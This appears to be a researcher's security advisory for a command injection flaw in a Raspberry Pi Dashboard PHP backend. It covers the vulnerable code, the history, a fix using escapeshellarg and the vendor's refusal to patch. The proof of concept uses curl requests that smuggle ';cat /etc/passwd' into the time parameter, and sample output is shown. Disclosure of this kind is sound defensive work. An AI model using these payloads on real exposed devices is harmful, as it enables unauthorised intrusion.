lennart.hostettler@debian:~/posts

12/06/2026 — Security Advisory

CVE-XXXX-XXXXX — OS Command Injection in Raspberry Pi Dashboard

ProductRaspberry Pi Dashboard
Versionv0.1 – v1.1.6 (all releases)
Filebackend/serv.php (lines 76–93)
CVECVE-XXXX-XXXXX (pending)
CWECWE-78 — Improper Neutralization of Special Elements used in an OS Command
CVSS 3.1 VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score9.8 (Critical)
Auth RequiredNo (default state) / Yes (if password configured)
Discovered byLennart Hostettler

Description

The main request handler in backend/serv.php (lines 76–98) passes the user-supplied time parameter directly into a system() call without sanitization, allowing arbitrary OS command injection.

// backend/serv.php, lines 76–93
if(isset($_REQUEST["p"])){
  $pass = md5($_REQUEST["p"]);
  $time = $_REQUEST["time"];          // [1] unsanitized user input
  if (strpos($time, ':') == false) {
    $time = "+" . $time;              // [2] only prepends "+", no sanitization
  }
  // ...
  system('sudo /sbin/shutdown -h ' . $time);  // [3] injection point
  system("sudo /sbin/shutdown -r "  . $time); // [3] injection point
  echo json_encode(getShutdownEventsInfo());  // [4] called post-injection
}

The only transformation applied to $time is a conditional + prefix. Shell metacharacters such as ;, &&, |, $(), and backticks are never filtered, allowing injection regardless of the prefix logic.

Proof of Concept

> Step 1 — Unauthenticated (default state, no password set)

If no password has been configured during setup, the vulnerability is fully unauthenticated:

curl -s "http://<host>/backend/serv.php?a=2&time=lennart1337;cat+/etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

> Step 2 — Authenticated (custom password configured)

curl -v "http://<host>/backend/serv.php?p=<password>&a=2&time=lennart1337;cat+/etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Vulnerability History

The injection has been present since the first commit (45094ce, v0.1, 2020-06-16) and remains unpatched through v1.1.6. In the original version the password was hardcoded as plaintext "root" directly in the source code, making exploitation trivially unauthenticated:

// v0.1 — backend/serv.php
$pass = $_REQUEST["p"];
if($pass != "root"){
    echo "wrongCredentials";
}else{
    system("sudo /sbin/shutdown -r +" . $time); // no sanitization
}

Impact

An attacker achieves Remote Code Execution as www-data. On a typical Raspberry Pi deployment this allows:

Remediation

Sanitize $time using escapeshellarg() before passing it to system():

system('sudo /sbin/shutdown -h ' . escapeshellarg($time));
system("sudo /sbin/shutdown -r "  . escapeshellarg($time));

Vendor Response

The developer declined to fix the vulnerability, arguing the project is not intended to be exposed to the internet. This position ignores reality: a Shodan search returns multiple publicly reachable instances. When a patch was submitted via pull request, the response was dismissive and confrontational. When that was pointed out, it escalated further. The vulnerabilities remain unpatched as of the date of this advisory.